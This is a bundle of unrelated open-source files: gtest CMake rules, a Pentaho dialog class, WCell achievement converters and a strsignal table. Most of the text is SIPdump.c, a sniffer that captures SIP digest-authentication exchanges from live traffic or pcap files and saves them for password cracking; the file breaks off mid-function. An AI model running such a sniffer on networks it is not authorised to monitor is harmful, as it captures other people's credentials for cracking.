# gtest_build_tests option to ON. You can do it by running ccmake
# or specifying the -Dgtest_build_tests=ON flag when running cmake.
if (gtest_build_tests)
# This must be set in the root directory for the tests to be run by
# 'make test' or ctest.
enable_testing()
############################################################
# C++ tests built with standard compiler flags.
cxx_test(gtest-death-test_test gtest_main)
cxx_test(gtest_environment_test gtest)
cxx_test(gtest-filepath_test gtest_main)
cxx_test(gtest-linked_ptr_test gtest_main)
cxx_test(gtest-listener_test gtest_main)
cxx_test(gtest_main_unittest gtest_main)
cxx_test(gtest-message_test gtest_main)
cxx_test(gtest_no_test_unittest gtest)
cxx_test(gtest-options_test gtest_main)
cxx_test(gtest-param-test_test gtest
test/gtest-param-test2_test.cc)
cxx_test(gtest-port_test gtest_main)
cxx_test(gtest_pred_impl_unittest gtest_main)
cxx_test(gtest-printers_test gtest_main)
cxx_test(gtest_prod_test gtest_main
test/production.cc)
cxx_test(gtest_repeat_test gtest)
cxx_test(gtest_sole_header_test gtest_main)
cxx_test(gtest_stress_test gtest)
cxx_test(gtest-test-part_test gtest_main)
cxx_test(gtest_throw_on_failure_ex_test gtest)
cxx_test(gtest-typed-test_test gtest_main
test/gtest-typed-test2_test.cc)
cxx_test(gtest_unittest gtest_main)
cxx_test(gtest-unittest-api_test gtest)
############################################################
# C++ tests built with non-standard compiler flags.
cxx_library(gtest_no_exception "${cxx_no_exception}"
src/gtest-all.cc)
cxx_library(gtest_main_no_exception "${cxx_no_exception}"
src/gtest-all.cc src/gtest_main.cc)
cxx_library(gtest_main_no_rtti "${cxx_no_rtti}"
src/gtest-all.cc src/gtest_main.cc)
cxx_test_with_flags(gtest-death-test_ex_nocatch_test
"${cxx_exception} -DGTEST_ENABLE_CATCH_EXCEPTIONS_=0"
gtest test/gtest-death-test_ex_test.cc)
cxx_test_with_flags(gtest-death-test_ex_catch_test
"${cxx_exception} -DGTEST_ENABLE_CATCH_EXCEPTIONS_=1"
gtest test/gtest-death-test_ex_test.cc)
cxx_test_with_flags(gtest_no_rtti_unittest "${cxx_no_rtti}"
gtest_main_no_rtti test/gtest_unittest.cc)
cxx_shared_library(gtest_dll "${cxx_default}"
src/gtest-all.cc src/gtest_main.cc)
cxx_executable_with_flags(gtest_dll_test_ "${cxx_default}"
gtest_dll test/gtest_all_test.cc)
set_target_properties(gtest_dll_test_
PROPERTIES
COMPILE_DEFINITIONS "GTEST_LINKED_AS_SHARED_LIBRARY=1")
if (NOT MSVC OR NOT MSVC_VERSION EQUAL 1600)
# The C++ Standard specifies tuple_element<int, class>.
# Yet MSVC 10's <utility> declares tuple_element<size_t, class>.
# That declaration conflicts with our own standard-conforming
# tuple implementation. Therefore using our own tuple with
# MSVC 10 doesn't compile.
cxx_library(gtest_main_use_own_tuple "${cxx_use_own_tuple}"
src/gtest-all.cc src/gtest_main.cc)
cxx_test_with_flags(gtest-tuple_test "${cxx_use_own_tuple}"
gtest_main_use_own_tuple test/gtest-tuple_test.cc)
cxx_test_with_flags(gtest_use_own_tuple_test "${cxx_use_own_tuple}"
gtest_main_use_own_tuple
test/gtest-param-test_test.cc test/gtest-param-test2_test.cc)
endif()
############################################################
# Python tests.
cxx_executable(gtest_break_on_failure_unittest_ test gtest)
py_test(gtest_break_on_failure_unittest)
cxx_executable_with_flags(
gtest_catch_exceptions_no_ex_test_
"${cxx_no_exception}"
gtest_main_no_exception
test/gtest_catch_exceptions_test_.cc)
cxx_executable_with_flags(
gtest_catch_exceptions_ex_test_
"${cxx_exception}"
gtest_main
test/gtest_catch_exceptions_test_.cc)
py_test(gtest_catch_exceptions_test)
cxx_executable(gtest_color_test_ test gtest)
py_test(gtest_color_test)
cxx_executable(gtest_env_var_test_ test gtest)
py_test(gtest_env_var_test)
cxx_executable(gtest_filter_unittest_ test gtest)
py_test(gtest_filter_unittest)
cxx_executable(gtest_help_test_ test gtest_main)
py_test(gtest_help_test)
cxx_executable(gtest_list_tests_unittest_ test gtest)
py_test(gtest_list_tests_unittest)
cxx_executable(gtest_output_test_ test gtest)
py_test(gtest_output_test)
cxx_executable(gtest_shuffle_test_ test gtest)
py_test(gtest_shuffle_test)
cxx_executable(gtest_throw_on_failure_test_ test gtest_no_exception)
set_target_properties(gtest_throw_on_failure_test_
PROPERTIES
COMPILE_FLAGS "${cxx_no_exception}")
py_test(gtest_throw_on_failure_test)
cxx_executable(gtest_uninitialized_test_ test gtest)
py_test(gtest_uninitialized_test)
cxx_executable(gtest_xml_outfile1_test_ test gtest_main)
cxx_executable(gtest_xml_outfile2_test_ test gtest_main)
py_test(gtest_xml_outfiles_test)
cxx_executable(gtest_xml_output_unittest_ test gtest)
py_test(gtest_xml_output_unittest)
endif()
| {
"pile_set_name": "Github"
} |
module.exports = require('./wrapperValue');
| {
"pile_set_name": "Github"
} |
#include <string.h>
static char* signal_names[] = {
"Hangup",
"Interrupt",
"Quit",
"Illegal instruction",
"Trace/breakpoint trap",
"Aborted",
"Aborted",
"Bus error",
"Floating point exception",
"Killed",
"User defined signal 1",
"Segmentation fault",
"User defined signal 2",
"Broken pipe",
"Alarm clock",
"Terminated",
"Stack fault",
"Child exited",
"Continued",
"Stopped (signal)",
"Stopped",
"Stopped (tty input)",
"Stopped (tty output)",
"Urgent I/O condition",
"CPU time limit exceeded",
"File size limit exceeded",
"Virtual timer expired",
"Profiling timer expired",
"Window changed",
"I/O possible",
"Power failure",
"Bad system call"
};
char* strsignal( int signum ) {
if ( signum <= 0 ) {
return NULL;
}
signum--;
if ( signum >= ( sizeof( signal_names ) / sizeof( signal_names[ 0 ] ) ) ) {
return NULL;
}
return signal_names[ signum ];
}
| {
"pile_set_name": "Github"
} |
/*! ******************************************************************************
*
* Pentaho Data Integration
*
* Copyright (C) 2002-2017 by Hitachi Vantara : http://www.pentaho.com
*
*******************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************/
package org.pentaho.di.ui.trans.steps.mappingoutput;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.ModifyEvent;
import org.eclipse.swt.events.ModifyListener;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.events.ShellAdapter;
import org.eclipse.swt.events.ShellEvent;
import org.eclipse.swt.layout.FormAttachment;
import org.eclipse.swt.layout.FormData;
import org.eclipse.swt.layout.FormLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Listener;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import org.pentaho.di.core.Const;
import org.pentaho.di.core.util.Utils;
import org.pentaho.di.i18n.BaseMessages;
import org.pentaho.di.trans.TransMeta;
import org.pentaho.di.trans.step.BaseStepMeta;
import org.pentaho.di.trans.step.StepDialogInterface;
import org.pentaho.di.trans.steps.mappingoutput.MappingOutputMeta;
import org.pentaho.di.ui.trans.step.BaseStepDialog;
public class MappingOutputDialog extends BaseStepDialog implements StepDialogInterface {
private static Class<?> PKG = MappingOutputMeta.class; // for i18n purposes, needed by Translator2!!
private MappingOutputMeta input;
public MappingOutputDialog( Shell parent, Object in, TransMeta tr, String sname ) {
super( parent, (BaseStepMeta) in, tr, sname );
input = (MappingOutputMeta) in;
}
public String open() {
Shell parent = getParent();
Display display = parent.getDisplay();
shell = new Shell( parent, SWT.DIALOG_TRIM | SWT.RESIZE | SWT.MIN | SWT.MAX );
props.setLook( shell );
setShellImage( shell, input );
ModifyListener lsMod = new ModifyListener() {
public void modifyText( ModifyEvent e ) {
input.setChanged();
}
};
changed = input.hasChanged();
FormLayout formLayout = new FormLayout();
formLayout.marginWidth = Const.FORM_MARGIN;
formLayout.marginHeight = Const.FORM_MARGIN;
shell.setLayout( formLayout );
shell.setText( BaseMessages.getString( PKG, "MappingOutputDialog.Shell.Title" ) );
int middle = props.getMiddlePct();
int margin = Const.MARGIN;
// Stepname line
wlStepname = new Label( shell, SWT.RIGHT );
wlStepname.setText( BaseMessages.getString( PKG, "MappingOutputDialog.Stepname.Label" ) );
props.setLook( wlStepname );
fdlStepname = new FormData();
fdlStepname.left = new FormAttachment( 0, 0 );
fdlStepname.right = new FormAttachment( middle, -margin );
fdlStepname.top = new FormAttachment( 0, margin );
wlStepname.setLayoutData( fdlStepname );
wStepname = new Text( shell, SWT.SINGLE | SWT.LEFT | SWT.BORDER );
wStepname.setText( stepname );
props.setLook( wStepname );
wStepname.addModifyListener( lsMod );
fdStepname = new FormData();
fdStepname.left = new FormAttachment( middle, 0 );
fdStepname.top = new FormAttachment( 0, margin );
fdStepname.right = new FormAttachment( 100, 0 );
wStepname.setLayoutData( fdStepname );
// Some buttons
wOK = new Button( shell, SWT.PUSH );
wOK.setText( BaseMessages.getString( PKG, "System.Button.OK" ) );
wCancel = new Button( shell, SWT.PUSH );
wCancel.setText( BaseMessages.getString( PKG, "System.Button.Cancel" ) );
setButtonPositions( new Button[] { wOK, wCancel, }, margin, wStepname );
// Add listeners
lsCancel = new Listener() {
public void handleEvent( Event e ) {
cancel();
}
};
lsOK = new Listener() {
public void handleEvent( Event e ) {
ok();
}
};
wCancel.addListener( SWT.Selection, lsCancel );
wOK.addListener( SWT.Selection, lsOK );
lsDef = new SelectionAdapter() {
public void widgetDefaultSelected( SelectionEvent e ) {
ok();
}
};
wStepname.addSelectionListener( lsDef );
// Detect X or ALT-F4 or something that kills this window...
shell.addShellListener( new ShellAdapter() {
public void shellClosed( ShellEvent e ) {
cancel();
}
} );
// Set the shell size, based upon previous time...
setSize();
getData();
input.setChanged( changed );
shell.open();
while ( !shell.isDisposed() ) {
if ( !display.readAndDispatch() ) {
display.sleep();
}
}
return stepname;
}
/**
* Copy information from the meta-data input to the dialog fields.
*/
public void getData() {
wStepname.selectAll();
wStepname.setFocus();
}
private void cancel() {
stepname = null;
input.setChanged( changed );
dispose();
}
private void ok() {
if ( Utils.isEmpty( wStepname.getText() ) ) {
return;
}
stepname = wStepname.getText(); // return value
dispose();
}
}
| {
"pile_set_name": "Github"
} |
using WCell.Constants.Achievements;
using WCell.Constants.World;
using WCell.Core.DBC;
namespace WCell.RealmServer.Achievements
{
public class AchievementCategoryEntryConverter : DBCRecordConverter
{
public override void Convert(byte[] rawData)
{
var achievementCategoryEntry = new AchievementCategoryEntry();
achievementCategoryEntry.ID = (AchievementCategoryEntryId)GetUInt32(rawData, 0);
achievementCategoryEntry.ParentCategory = (AchievementCategoryEntryId)GetUInt32(rawData, 1);
AchievementMgr.AchievementCategoryEntries[achievementCategoryEntry.ID] = achievementCategoryEntry;
}
}
public class AchievementEntryConverter : DBCRecordConverter
{
public override void Convert(byte[] rawData)
{
var achievementEntry = new AchievementEntry();
achievementEntry.ID = GetUInt32(rawData, 0);
achievementEntry.FactionFlag = GetInt32(rawData, 1);
achievementEntry.MapID = (MapId)GetUInt32(rawData, 2);
achievementEntry.Names = GetStrings(rawData, 4);
var category = (AchievementCategoryEntryId)GetUInt32(rawData, 38); // set category
achievementEntry.Category = AchievementMgr.GetCategoryEntry(category);
achievementEntry.Points = GetUInt32(rawData, 39);
achievementEntry.Flags = (AchievementFlags)GetUInt32(rawData, 41);
achievementEntry.Count = GetUInt32(rawData, 60);
achievementEntry.RefAchievement = (uint)GetUInt32(rawData, 61);
AchievementMgr.AchievementEntries[achievementEntry.ID] = achievementEntry;
}
}
public class AchievementCriteriaConverter : DBCRecordConverter
{
public override void Convert(byte[] rawData)
{
var criteriaType = (AchievementCriteriaType)GetUInt32(rawData, 2);
var creator = AchievementMgr.GetCriteriaEntryCreator(criteriaType);
if (creator == null)
{
// unknown type
return;
}
var entry = creator();
entry.AchievementCriteriaId = GetUInt32(rawData, 0);
entry.AchievementEntryId = GetUInt32(rawData, 1);
var achievement = entry.AchievementEntry;
if (achievement == null)
{
// invalid criteria does not belong to any entry
return;
}
// add criterion to achievement
achievement.Criteria.Add(entry);
CopyTo(rawData, entry, 3);
entry.CompletionFlag = GetUInt32(rawData, 26);
entry.GroupFlag = (AchievementCriteriaGroupFlags) GetUInt32(rawData, 27);
entry.TimeLimit = GetUInt32(rawData, 29);
// add to critera map
var list = AchievementMgr.GetCriteriaEntriesByType(criteriaType);
if (list != null)
{
list.Add(entry);
}
// create requirement set
entry.RequirementSet = new AchievementCriteriaRequirementSet(entry.AchievementCriteriaId);
AchievementMgr.CriteriaEntriesById[entry.AchievementCriteriaId] = entry;
}
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2007 Martin J. Muench <mjm@codito.de>
*
* See doc/SIPcrack-LICENSE
*
* SIP digest authentication login sniffer
*
* gcc -Wall SIPdump.c -o SIPdump -lpcap */
#if AC_BUILT
/* need to know if HAVE_PCAP_H is set, for autoconfig build */
#include "autoconfig.h"
#else
/* on a legacy build, we do not KNOW if pcap is installed. We just run, and make will fail if it is not there */
#define HAVE_PCAP_H 1
#define HAVE_SYS_SOCKET_H 1
#define HAVE_SYS_TYPES_H 0
#define HAVE_NETINET_IN_SYSTM_H 0
#define HAVE_NETINET_IN_H 0
#define HAVE_NETINET_IP_H 1
#endif
#if HAVE_PCAP_H
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#if (!AC_BUILT || HAVE_UNISTD_H) && !_MSC_VER
#include <unistd.h>
#endif
#include <errno.h>
#if HAVE_SYS_SOCKET_H
#include <sys/socket.h>
#endif
#if HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#include <netinet/in.h>
#if HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#endif
#if HAVE_NETINET_IN_H
#include <netinet/in.h>
#endif
#if HAVE_NETINET_IP_H
#include <netinet/ip.h>
#endif
#include <netinet/ip6.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include "tcphdr.h"
#include <arpa/inet.h>
#if HAVE_PCAP_H
#include <pcap.h>
#elif HAVE_PCAP_PCAP_H
#include <pcap/pcap.h>
#endif
#include <getopt.h>
#include "SIPdump.h"
#define SIP_LINE_LEN 1024 /* Maximum length of SIP protocol lines */
#define SIP_METHOD_LEN 32 /* Maximum length of SIP method string */
#define MAX_SIP_CON 128 /* Maximum parallel SIP connections */
#define SNAP_LEN 1518 /* packet length */
/* Structure for full connection table */
typedef struct {
int ipversion;
int active;
struct in6_addr client_ip6;
struct in6_addr server_ip6;
uint32_t client_ip;
uint16_t client_port;
uint32_t server_ip;
uint16_t server_port;
char method[SIP_METHOD_LEN];
char buffer[SIP_LINE_LEN];
} sip_conn_t;
/* Basic connection table */
typedef struct {
int ipversion;
struct in6_addr client_ip6;
struct in6_addr server_ip6;
uint32_t client_ip;
uint16_t client_port;
uint32_t server_ip;
uint16_t server_port;
} conn_t;
/* Function declarations */
static void sniff_logins(unsigned char *, const struct pcap_pkthdr *,
const unsigned char *);
static void parse_payload(const conn_t *, unsigned char *, size_t);
static int parse_sip_proto(char *, size_t, unsigned char *, size_t);
static int find_sip_client_proto(unsigned char *, size_t);
static void manual_mode();
static void usage(const char *);
static void parse_n_write_login_data(const char *, const char *, const char *,
const char *);
static int pcap_dloff(pcap_t *);
/* Globals */
static char *dump_file = NULL; /* dump file */
static unsigned int num_logins = 0; /* sniffed login counter */
//int opterr = 0; /* shutup getopt() */
static int offset = 0; /* packet offset */
char *addr_to_numeric(const struct in6_addr *addrp)
{
/* 0000:0000:0000:0000:0000:000.000.000.000
* 0000:0000:0000:0000:0000:0000:0000:0000 */
static char buf[50 + 1];
return (char *) inet_ntop(AF_INET6, addrp, buf, sizeof(buf));
}
/* Compare two IPv6 addresses */
static int in6addr_cmp(const void *a, const void *b)
{
const struct in6_addr *ia = (const struct in6_addr *) a;
const struct in6_addr *ib = (const struct in6_addr *) b;
return memcmp(ia, ib, sizeof(struct in6_addr));
}
/*
* SIPdump Main
*/
#ifdef HAVE_LIBFUZZER
int main_dummy(int argc, char **argv)
#else
int main(int argc, char *argv[])
#endif
{
char *dev = NULL, *pcap_file = NULL, *filter = DEFAULT_PCAP_FILTER;
char errbuf[PCAP_ERRBUF_SIZE];
int c, manual = 0, retval = 0;
pcap_t *handle = NULL;
bpf_u_int32 mask, net;
struct bpf_program fp;
memset(&fp, 0, sizeof(struct bpf_program));
/* Reset global state */
dump_file = NULL;
num_logins = 0;
offset = 0;
/* Parse command line */
while ((c = getopt(argc, argv, "i:mp:f:")) != -1) {
switch (c) {
case 'i':
dev = (char *) Calloc(strlen(optarg) + 1);
strcpy(dev, optarg);
break;
case 'f':
filter = (char *) Calloc(strlen(optarg) + 1);
strcpy(filter, optarg);
break;
case 'm':
manual = 1;
break;
case 'p':
pcap_file = (char *) Calloc(strlen(optarg) + 1);
strcpy(pcap_file, optarg);
break;
default:
usage("Invalid arguments");
}
}
/* Check if both modes set */
if (pcap_file != NULL && dev != NULL)
usage("Specify either interface or pcap file");
/* Get dump file */
argv += optind;
argc -= optind;
/* Make getopt callable again */
optind = 0;
if (argc != 1) {
free(pcap_file);
free(dev);
usage("You need to specify dump file");
}
dump_file = (char *) Calloc(strlen(argv[0]) + 1);
strcpy(dump_file, argv[0]);
/* Check for manual mode */
if (manual) {
manual_mode();
goto cleanup;
}
/* Open pcap stream */
if (pcap_file != NULL) {
printf("* Using pcap file '%s' for sniffing\n", pcap_file);
handle = pcap_open_offline(pcap_file, errbuf);
if (handle == NULL) {
fprintf(stderr, "* Cannot open %s: %s\n",
pcap_file ? pcap_file : dev, errbuf);
retval = EXIT_FAILURE;
goto cleanup;
}
} else {
/* For live capture, euid0 is neeed */
if (geteuid() != 0) {
fprintf(stderr,
"* You need to have root privileges to run live capture\n");
retval = EXIT_FAILURE;
goto cleanup;
}
/* Get interface if not specified on command line */
if (dev == NULL) {
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr,
"* Couldn't find default device: %s\n",
errbuf);
retval = EXIT_FAILURE;
goto cleanup;
}
}
printf("* Using dev '%s' for sniffing\n", dev);
/* Get network number and mask associated with capture device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr,
"* Couldn't get netmask for device %s: %s\n", dev,
errbuf);
net = 0;
mask = 0;
}
/* Open capture device */
handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "* Cannot open device %s: %s\n", dev,
errbuf);
retval = EXIT_FAILURE;
goto cleanup;
}
} /* else pcap_file == null */
/* Get offset */
if ((offset = pcap_dloff(handle)) < 0) {
fprintf(stderr, "* Cannot get packet offset\n");
retval = EXIT_FAILURE;
goto cleanup;
}
/* Quick hack to remove vlan from filter in case of raw */
if (offset == 56)
filter = "tcp or udp";
/* Compile the sniffer filter */
if (pcap_compile(handle, &fp, filter, 0, net) == -1) {
fprintf(stderr, "* Invalid packet filter: %s\n",
pcap_geterr(handle));
retval = EXIT_FAILURE;
goto cleanup;
}
/* Apply the compiled filter */
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "* Installing packet filter failed: %s\n",
pcap_geterr(handle));
retval = EXIT_FAILURE;
goto cleanup;
}
/* Run main sniffing function */
printf("* Starting to sniff with packet filter '%s'\n\n", filter);
pcap_loop(handle, -1, sniff_logins, NULL);
printf("\n* Exiting, sniffed %u logins\n", num_logins);
/* Cleanup and exit */
cleanup:
pcap_freecode(&fp);
if (handle)
pcap_close(handle);
free(dump_file);
free(dev);
free(pcap_file);
if (strncmp(DEFAULT_PCAP_FILTER, filter, strlen(DEFAULT_PCAP_FILTER))
&& strncmp("tcp or udp", filter, strlen("tcp or udp")))
free(filter);
return retval;
}
#ifdef HAVE_LIBFUZZER
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
{
int fd;
char name[] = "/tmp/libFuzzer-XXXXXX";
char *argv[] = {"dummy", "-p", name, "/dev/null", NULL};
fd = mkstemp(name); // this approach is somehow faster than the fmemopen way
if (fd < 0) {
fprintf(stderr, "Problem detected while creating the input file, %s, aborting!\n", strerror(errno));
exit(-1);
}
write(fd, data, size);
close(fd);
main_dummy(4, argv);
remove(name);
return 0;
}
#endif
/*
* Parse payload and search for SIP connections
*/
static void parse_payload(const conn_t * connection,
unsigned char *payload, size_t payload_len)
{
static sip_conn_t conn_table[MAX_SIP_CON];
static int first = 1, replace_entry = 0;
int i, ret, recorded = 0;
char buffer[SIP_LINE_LEN];
char *payload_buffer = NULL;
size_t payload_buffer_len = 0;
char ipstr_server[INET6_ADDRSTRLEN], ipstr_client[INET6_ADDRSTRLEN];
/* Clear connection table on first call */
if (first) {
memset(&conn_table, 0, sizeof(sip_conn_t) * MAX_SIP_CON);
first = 0;
}
/* Return on empty payload */
if (payload_len == 0)
return;
/* Ignore packet if it contains binary data */
if (is_binary(payload, payload_len))
return;
/*
* Check if this is a recorded connection where Authorization was
* not found yet
*/
for (i = 0; i < MAX_SIP_CON; i++) {
if (connection->ipversion == 6) {
sprintf(ipstr_server, "%s",
addr_to_numeric(&connection->server_ip6));
sprintf(ipstr_client, "%s",
addr_to_numeric(&connection->client_ip6));
} else {
struct in_addr cli, srv;
cli.s_addr = connection->client_ip;
srv.s_addr = connection->server_ip;
sprintf(ipstr_server, "%s", inet_ntoa(srv));
sprintf(ipstr_client, "%s", inet_ntoa(cli));
}
/* Known connection, check data */
if ((conn_table[i].active && conn_table[i].ipversion == 4 &&
connection->server_ip == conn_table[i].server_ip &&
connection->client_ip == conn_table[i].client_ip &&
connection->server_port == conn_table[i].server_port &&
connection->client_port == conn_table[i].client_port)
|| (conn_table[i].active && conn_table[i].ipversion == 6 &&
(in6addr_cmp(&connection->server_ip6,
&conn_table[i].server_ip6) == 0) &&
(in6addr_cmp(&connection->client_ip6,
&conn_table[i].client_ip6) == 0) &&
connection->server_port == conn_table[i].server_port &&
connection->client_port ==
conn_table[i].client_port)) {
debug(("New traffic on monitored connection %d:", i));
debug(("Client: %s", ipstr_client));
debug(("Server: %s", ipstr_server));
/* Set recorded flag to prevent new parsing */
recorded = 1;
/* No old data recorded (no unterminated lines in last packet) */
if (conn_table[i].buffer[0] == 0x00) {
/* Parse payload and check if we've got digest auth */
ret =
parse_sip_proto(buffer, sizeof(buffer),
payload, payload_len);
}
/* Already recorded SIP data, append new payload to buffer and recheck */
else {
/* Append new payload to existing buffer */
payload_buffer_len =
payload_len +
strlen(conn_table[i].buffer) + 1;
payload_buffer =
(char *) Calloc(payload_buffer_len);
strcpy(payload_buffer, conn_table[i].buffer);
strncat(payload_buffer, (char *) payload, payload_len);
/* Parse buffer (saved buffer + packet payload) */
ret = parse_sip_proto(buffer,
sizeof(buffer),
(unsigned char *) payload_buffer,
payload_buffer_len);
/* Free payload buffer */
free(payload_buffer);
}
/* Error or no digets found, removing connection from table */
if (ret < 0) {
memset(&conn_table[i], 0, sizeof(sip_conn_t));
return;
}
/* Found challenge response */
if (ret) {
/* Extract all needed values and write to dump file */
parse_n_write_login_data(ipstr_server,
ipstr_client, conn_table[i].method,
buffer);
/* Remove entry from connection table */
memset(&conn_table[i], 0, sizeof(sip_conn_t));
}
/* Keep non-line-terminated buffer, new data will be appended */
else if (!ret) {
if (buffer[0] != 0x00)
strncpy(conn_table[i].buffer, buffer,
sizeof(conn_table[i].buffer) - 1);
}
/* Break lookup in connection table */
break;
}
} /* for (i=0; i < MAX_SIP_CON; i++) */
/* Unrecorded connection */
if (!recorded) {
/* Check for SIP protocol */
if (!find_sip_client_proto(payload, payload_len))
return;
/* Parse payload and search for digest auth */
ret =
parse_sip_proto(buffer, sizeof(buffer), payload,
payload_len);
/* Ignore packet on error or no digest authentication found */
if (ret < 0)
return;
/* Found challenge response */
if (ret) {
/* Get method from payload */
char method[SIP_METHOD_LEN];
extract_method(method, (char *) payload,
sizeof(method));
/* Extract all needed values and write to dump file */
parse_n_write_login_data(ipstr_server, ipstr_client,
method, buffer);
}
/*
* Add to connection table for further checks
* (digest authentication line still missing)
*/
else if (!ret) {
debug(("Adding connection to list:"));
debug(("Client: %s:%d ", ipstr_client,
connection->client_port));
debug(("Server: %s:%d ", ipstr_server,
connection->server_port));
/* Find free entry in connection table */
for (i = 0; i < MAX_SIP_CON; i++) {
if (!conn_table[i].active) {
recorded = 1;
break;
}
}
/* If no free entry found, replace another one */
if (!recorded) {
debug(("Connection table full, replacing %d",
replace_entry));
i = replace_entry;
if (replace_entry == MAX_SIP_CON - 1)
replace_entry = 0;
else
replace_entry++;
}
/* Connection information */
conn_table[i].ipversion = connection->ipversion;
conn_table[i].active = 1;
conn_table[i].client_ip6 = connection->client_ip6;
conn_table[i].server_ip6 = connection->server_ip6;
conn_table[i].client_ip = connection->client_ip;
conn_table[i].server_ip = connection->server_ip;
conn_table[i].client_port = connection->client_port;
conn_table[i].server_port = connection->server_port;
/* Copy method */
extract_method(conn_table[i].method, (char *) payload,
sizeof(conn_table[i].method));
debug(("Method: %s", conn_table[i].method));
/* Keep non-line-terminated data (new data will be appended) */
if (buffer[0] != '\0') {
strncpy(conn_table[i].buffer, buffer,
SIP_LINE_LEN);
debug(("Saving buffer '%s'", buffer));
}
}
}
/* if (!recorded) */
return;
}
/*
* Initial check for received packets
*/
static void sniff_logins(unsigned char *args,
const struct pcap_pkthdr *header, const unsigned char *packet)
{
const struct ip6_hdr *ip6;
const struct ip *ip_hdr;
const struct tcp_hdr *tcp_hdr;
const struct udphdr *udp_hdr;
unsigned char *payload;
int ip_protocol, ip_tot_len;
conn_t connection;
size_t size_ip = 0, size_proto = 0;
ssize_t size_payload = 0;
unsigned char *payload_copy;
if (header->caplen < 16)
return;
/* Hack to check if network is vlan if ethernet */
if (offset == 18)
offset = 14;
if (offset == 14) {
if (ntohs(packet[12]) == 0x8100)
offset = 18;
}
/* Ignore layer below IP now */
packet += offset;
/* Get IP header */
ip6 = (struct ip6_hdr *) (packet);
ip_hdr = (struct ip *) (packet);
switch (ip_hdr->ip_v) {
case 6:
if (sizeof(struct ip6_hdr) + offset > header->caplen) {
fprintf(stderr, "> malformed packet smaller than sizeof(struct ip6_hdr), caplen %d\n", header->caplen);
return;
}
size_ip = sizeof(struct ip6_hdr);
ip_protocol = ip6->ip6_nxt;
ip_tot_len = ntohs(ip6->ip6_plen);
connection.server_ip6 = ip6->ip6_dst;
connection.client_ip6 = ip6->ip6_src;
connection.ipversion = 6;
break;
case 4:
if (sizeof(struct ip) + offset > header->caplen) {
fprintf(stderr, "> malformed packet smaller than sizeof(struct ip), caplen %d\n", header->caplen);
return;
}
size_ip = sizeof(struct ip);
if (size_ip < 20) {
debug(
("Got packet with invalid IPv4 header length (%d bytes), ignoring...",
size_ip));
return;
}
connection.server_ip = ip_hdr->ip_src.s_addr;
connection.client_ip = ip_hdr->ip_dst.s_addr;
connection.ipversion = 4;
ip_protocol = ip_hdr->ip_p;
ip_tot_len = ntohs(ip_hdr->ip_len);
break;
default:
debug(("Got non-IPv4/IPv6 packet, ignoring..."));
return;
}
/* Validate various lengths */
if (ip_tot_len > header->caplen || ip_tot_len + offset > header->caplen || (size_ip + offset + sizeof(struct tcp_hdr) > header->caplen)) {
fprintf(stderr, "> malformed packet or not tcp?, offset is %d, ip_tot_len is %d, caplen is %d\n", offset, ip_tot_len, header->caplen);
return;
}
/* Check proto and get source and destination port */
switch (ip_protocol) {
case IPPROTO_TCP:
tcp_hdr = (struct tcp_hdr *) (packet + size_ip);
size_proto = tcp_hdr->th_off * 4;
if (size_proto < 20) {
debug(
("Got packet with invalid TCP header length (%d bytes), ignoring...",
size_proto));
return;
}
connection.server_port = tcp_hdr->th_sport;
connection.client_port = tcp_hdr->th_dport;
break;
case IPPROTO_UDP:
udp_hdr = (struct udphdr *) (packet + size_ip);
size_proto = sizeof(struct udphdr);
connection.server_port = udp_hdr->uh_sport;
connection.client_port = udp_hdr->uh_dport;
break;
default:
return;
}
/* Extract payload from packet */
payload = (unsigned char *) (packet + size_ip + size_proto);
if (size_proto + size_ip + offset > header->caplen) {
printf("malformed packet?, size_ip is %zu, size_proto is %zu, offset is %d, caplen is %d\n", size_ip, size_proto, offset, header->caplen);
return;
}
size_payload = ip_tot_len - (size_ip + size_proto);
if (size_payload < 0 || size_payload > header->caplen - offset - size_ip) {
printf("malformed packet?, size_ip is %zu, size_proto is %zu, offset is %d, size_payload is %zu, caplen is %d\n", size_ip, size_proto, offset, size_payload, header->caplen);
return;
}
/* If we have a payload, send payload and connection information to parser */
if (size_payload > 0) {
payload_copy = malloc(size_payload + 1);
if (!payload_copy) {
printf("malformed packet?, malloc call failed!\n");
return;
}
memcpy(payload_copy, payload, size_payload);
payload_copy[size_payload] = 0x00;
parse_payload(&connection, payload_copy, size_payload);
free(payload_copy);
}
return;
}
/*
* Extract all needed SIP parameters from buffer
*/
static int parse_sip_proto(char *out,
size_t out_len, unsigned char *buffer, size_t buffer_len)
{
char **lines;
int num_lines, i, found = 0, error = 0;
/* Clear output buffer */
memset(out, 0, out_len);
/* Iterate through sip data (line by line) */
lines = stringtoarray((char *) buffer, '\n', &num_lines);
for (i = 0; i < num_lines - 1; i++) {
/* We are only interested in lines beginning with these strings */
if ((!strncmp(lines[i], "Proxy-Authorization:",
strlen("Proxy-Authorization:")) ||
!strncmp(lines[i], "WWW-Authenticate:",
strlen("WWW-Authenticate:")) ||
!strncmp(lines[i], "Authorization:",
strlen("Authorization:"))) && !found && !error) {
/* found the digest auth line, copy to output buffer */
if (out_len - 1 < strlen(lines[i])) {
debug(
